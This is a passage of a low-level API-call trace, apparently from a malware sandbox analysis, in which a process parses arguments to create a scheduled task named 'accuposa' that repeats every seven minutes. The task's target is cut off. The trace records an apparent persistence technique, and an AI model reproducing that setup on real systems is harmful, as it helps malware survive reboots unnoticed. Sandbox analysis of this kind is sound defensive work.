_ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.417] lstrlenW (lpString="|u|") returned 3 [0122.417] lstrlenW (lpString="|tn|") returned 4 [0122.417] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.417] lstrlenW (lpString="p") returned 1 [0122.417] lstrlenW (lpString="p") returned 1 [0122.417] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.418] lstrlenW (lpString="tn") returned 2 [0122.418] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.418] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|p|") returned 3 [0122.418] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.418] lstrlenW (lpString="|p|") returned 3 [0122.418] lstrlenW (lpString="|tn|") returned 4 [0122.418] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.418] lstrlenW (lpString="ru") returned 2 [0122.418] lstrlenW (lpString="ru") returned 2 [0122.418] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.418] lstrlenW (lpString="tn") returned 2 [0122.418] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.418] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|ru|") returned 4 [0122.418] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.418] lstrlenW (lpString="|ru|") returned 4 [0122.418] lstrlenW (lpString="|tn|") returned 4 [0122.418] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0122.418] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.418] lstrlenW (lpString="rp") returned 2 [0122.418] lstrlenW (lpString="rp") returned 2 [0122.418] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.418] lstrlenW (lpString="tn") returned 2 [0122.419] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.419] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|rp|") returned 4 [0122.419] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.419] lstrlenW (lpString="|rp|") returned 4 [0122.419] lstrlenW (lpString="|tn|") returned 4 [0122.419] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0122.419] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.419] lstrlenW (lpString="sc") returned 2 [0122.419] lstrlenW (lpString="sc") returned 2 [0122.419] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.419] lstrlenW (lpString="tn") returned 2 [0122.419] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.419] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.419] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.419] lstrlenW (lpString="|sc|") returned 4 [0122.419] lstrlenW (lpString="|tn|") returned 4 [0122.419] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0122.419] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.422] lstrlenW (lpString="mo") returned 2 [0122.422] lstrlenW (lpString="mo") returned 2 [0122.422] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.422] lstrlenW (lpString="tn") returned 2 [0122.422] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.422] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.422] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.422] lstrlenW (lpString="|mo|") returned 4 [0122.422] lstrlenW (lpString="|tn|") returned 4 [0122.422] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0122.422] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.422] lstrlenW (lpString="d") returned 1 [0122.422] lstrlenW (lpString="d") returned 1 [0122.422] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.422] lstrlenW (lpString="tn") returned 2 [0122.422] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.422] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|d|") returned 3 [0122.422] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.422] lstrlenW (lpString="|d|") returned 3 [0122.422] lstrlenW (lpString="|tn|") returned 4 [0122.422] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.422] lstrlenW (lpString="m") returned 1 [0122.422] lstrlenW (lpString="m") returned 1 [0122.422] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.422] lstrlenW (lpString="tn") returned 2 [0122.423] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.423] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|m|") returned 3 [0122.423] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.423] lstrlenW (lpString="|m|") returned 3 [0122.423] lstrlenW (lpString="|tn|") returned 4 [0122.423] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.423] lstrlenW (lpString="i") returned 1 [0122.423] lstrlenW (lpString="i") returned 1 [0122.423] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.423] lstrlenW (lpString="tn") returned 2 [0122.423] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.423] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|i|") returned 3 [0122.423] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.423] lstrlenW (lpString="|i|") returned 3 [0122.423] lstrlenW (lpString="|tn|") returned 4 [0122.423] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.423] lstrlenW (lpString="tn") returned 2 [0122.423] lstrlenW (lpString="tn") returned 2 [0122.423] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.423] lstrlenW (lpString="tn") returned 2 [0122.423] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.423] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.423] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.423] lstrlenW (lpString="|tn|") returned 4 [0122.423] lstrlenW (lpString="|tn|") returned 4 [0122.424] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0122.424] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.424] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.424] lstrlenW (lpString="accuposa") returned 8 [0122.424] lstrlenW (lpString="-/") returned 2 [0122.424] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0122.424] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.424] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.424] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.424] lstrlenW (lpString="accuposa") returned 8 [0122.424] StrChrIW (lpStart="accuposa", wMatch=0x3a) returned 0x0 [0122.424] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.424] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.424] lstrlenW (lpString="accuposa") returned 8 [0122.424] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.424] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.424] lstrlenW (lpString="/sc") returned 3 [0122.424] lstrlenW (lpString="-/") returned 2 [0122.424] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.424] lstrlenW (lpString="create") returned 6 [0122.424] lstrlenW (lpString="create") returned 6 [0122.424] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.424] lstrlenW (lpString="sc") returned 2 [0122.424] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.424] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|create|") returned 8 [0122.424] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.424] lstrlenW (lpString="|create|") returned 8 [0122.424] lstrlenW (lpString="|sc|") returned 4 [0122.425] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0122.425] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.425] lstrlenW (lpString="?") returned 1 [0122.425] lstrlenW (lpString="?") returned 1 [0122.425] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.425] lstrlenW (lpString="sc") returned 2 [0122.425] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.425] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|?|") returned 3 [0122.425] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.425] lstrlenW (lpString="|?|") returned 3 [0122.425] lstrlenW (lpString="|sc|") returned 4 [0122.425] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.425] lstrlenW (lpString="s") returned 1 [0122.425] lstrlenW (lpString="s") returned 1 [0122.425] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.425] lstrlenW (lpString="sc") returned 2 [0122.425] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.425] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|s|") returned 3 [0122.425] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.425] lstrlenW (lpString="|s|") returned 3 [0122.425] lstrlenW (lpString="|sc|") returned 4 [0122.425] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.425] lstrlenW (lpString="u") returned 1 [0122.425] lstrlenW (lpString="u") returned 1 [0122.425] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.425] lstrlenW (lpString="sc") returned 2 [0122.426] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.426] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|u|") returned 3 [0122.426] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.426] lstrlenW (lpString="|u|") returned 3 [0122.426] lstrlenW (lpString="|sc|") returned 4 [0122.426] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.426] lstrlenW (lpString="p") returned 1 [0122.426] lstrlenW (lpString="p") returned 1 [0122.426] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.426] lstrlenW (lpString="sc") returned 2 [0122.426] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.426] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|p|") returned 3 [0122.426] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.426] lstrlenW (lpString="|p|") returned 3 [0122.426] lstrlenW (lpString="|sc|") returned 4 [0122.426] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.426] lstrlenW (lpString="ru") returned 2 [0122.426] lstrlenW (lpString="ru") returned 2 [0122.426] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.426] lstrlenW (lpString="sc") returned 2 [0122.426] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.426] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|ru|") returned 4 [0122.426] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.426] lstrlenW (lpString="|ru|") returned 4 [0122.426] lstrlenW (lpString="|sc|") returned 4 [0122.426] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0122.427] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.427] lstrlenW (lpString="rp") returned 2 [0122.427] lstrlenW (lpString="rp") returned 2 [0122.427] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.427] lstrlenW (lpString="sc") returned 2 [0122.427] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.427] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|rp|") returned 4 [0122.427] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.427] lstrlenW (lpString="|rp|") returned 4 [0122.427] lstrlenW (lpString="|sc|") returned 4 [0122.427] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0122.427] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.427] lstrlenW (lpString="sc") returned 2 [0122.427] lstrlenW (lpString="sc") returned 2 [0122.427] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.427] lstrlenW (lpString="sc") returned 2 [0122.427] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.427] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.427] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.427] lstrlenW (lpString="|sc|") returned 4 [0122.427] lstrlenW (lpString="|sc|") returned 4 [0122.427] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0122.427] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.427] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.427] lstrlenW (lpString="MINUTE") returned 6 [0122.428] lstrlenW (lpString="-/") returned 2 [0122.428] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0122.428] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.428] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.428] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.428] lstrlenW (lpString="MINUTE") returned 6 [0122.428] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0122.428] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.428] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.428] GetProcessHeap () returned 0x1c180330000 [0122.428] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c18033aa00 [0122.428] _memicmp (_Buf1=0x1c18033aa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.428] lstrlenW (lpString="MINUTE") returned 6 [0122.428] GetProcessHeap () returned 0x1c180330000 [0122.428] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xe) returned 0x1c18033aba0 [0122.428] lstrlenW (lpString="MINUTE") returned 6 [0122.428] lstrlenW (lpString=" \x09") returned 2 [0122.428] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0122.428] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0122.428] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0122.428] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0122.428] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0122.428] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0122.428] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0122.428] GetLastError () returned 0x0 [0122.428] lstrlenW (lpString="MINUTE") returned 6 [0122.428] lstrlenW (lpString="MINUTE") returned 6 [0122.428] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.428] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.429] lstrlenW (lpString="/mo") returned 3 [0122.429] lstrlenW (lpString="-/") returned 2 [0122.429] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.429] lstrlenW (lpString="create") returned 6 [0122.429] lstrlenW (lpString="create") returned 6 [0122.429] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.429] lstrlenW (lpString="mo") returned 2 [0122.429] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.429] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|create|") returned 8 [0122.429] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.429] lstrlenW (lpString="|create|") returned 8 [0122.429] lstrlenW (lpString="|mo|") returned 4 [0122.429] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0122.429] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.429] lstrlenW (lpString="?") returned 1 [0122.429] lstrlenW (lpString="?") returned 1 [0122.429] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.429] lstrlenW (lpString="mo") returned 2 [0122.429] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.429] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|?|") returned 3 [0122.429] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.429] lstrlenW (lpString="|?|") returned 3 [0122.429] lstrlenW (lpString="|mo|") returned 4 [0122.429] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.429] lstrlenW (lpString="s") returned 1 [0122.429] lstrlenW (lpString="s") returned 1 [0122.429] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.430] lstrlenW (lpString="mo") returned 2 [0122.430] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.430] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|s|") returned 3 [0122.430] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.430] lstrlenW (lpString="|s|") returned 3 [0122.430] lstrlenW (lpString="|mo|") returned 4 [0122.430] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.430] lstrlenW (lpString="u") returned 1 [0122.430] lstrlenW (lpString="u") returned 1 [0122.430] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.430] lstrlenW (lpString="mo") returned 2 [0122.430] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.430] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|u|") returned 3 [0122.430] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.430] lstrlenW (lpString="|u|") returned 3 [0122.430] lstrlenW (lpString="|mo|") returned 4 [0122.430] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.430] lstrlenW (lpString="p") returned 1 [0122.430] lstrlenW (lpString="p") returned 1 [0122.430] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.431] lstrlenW (lpString="mo") returned 2 [0122.431] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.431] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|p|") returned 3 [0122.431] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.431] lstrlenW (lpString="|p|") returned 3 [0122.431] lstrlenW (lpString="|mo|") returned 4 [0122.431] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.431] lstrlenW (lpString="ru") returned 2 [0122.431] lstrlenW (lpString="ru") returned 2 [0122.431] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.431] lstrlenW (lpString="mo") returned 2 [0122.431] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.431] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|ru|") returned 4 [0122.431] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.431] lstrlenW (lpString="|ru|") returned 4 [0122.431] lstrlenW (lpString="|mo|") returned 4 [0122.431] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0122.431] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.431] lstrlenW (lpString="rp") returned 2 [0122.431] lstrlenW (lpString="rp") returned 2 [0122.431] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.431] lstrlenW (lpString="mo") returned 2 [0122.431] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.432] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|rp|") returned 4 [0122.432] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.432] lstrlenW (lpString="|rp|") returned 4 [0122.432] lstrlenW (lpString="|mo|") returned 4 [0122.432] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0122.432] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.432] lstrlenW (lpString="sc") returned 2 [0122.432] lstrlenW (lpString="sc") returned 2 [0122.432] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.432] lstrlenW (lpString="mo") returned 2 [0122.432] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.432] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.432] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.432] lstrlenW (lpString="|sc|") returned 4 [0122.432] lstrlenW (lpString="|mo|") returned 4 [0122.432] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0122.432] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.432] lstrlenW (lpString="mo") returned 2 [0122.432] lstrlenW (lpString="mo") returned 2 [0122.432] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.432] lstrlenW (lpString="mo") returned 2 [0122.432] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.432] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.432] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.432] lstrlenW (lpString="|mo|") returned 4 [0122.433] lstrlenW (lpString="|mo|") returned 4 [0122.433] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0122.433] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.433] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.433] lstrlenW (lpString="7") returned 1 [0122.433] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.433] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.433] lstrlenW (lpString="7") returned 1 [0122.433] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0122.433] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.433] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.433] _memicmp (_Buf1=0x1c18033aa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.433] lstrlenW (lpString="7") returned 1 [0122.433] lstrlenW (lpString="7") returned 1 [0122.433] lstrlenW (lpString=" \x09") returned 2 [0122.433] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0122.433] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0122.433] GetLastError () returned 0x0 [0122.433] lstrlenW (lpString="7") returned 1 [0122.433] lstrlenW (lpString="7") returned 1 [0122.433] GetProcessHeap () returned 0x1c180330000 [0122.433] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x4) returned 0x1c180334a90 [0122.433] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.433] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.433] lstrlenW (lpString="/tr") returned 3 [0122.433] lstrlenW (lpString="-/") returned 2 [0122.433] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.433] lstrlenW (lpString="create") returned 6 [0122.433] lstrlenW (lpString="create") returned 6 [0122.433] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.434] lstrlenW (lpString="tr") returned 2 [0122.434] _memicmp 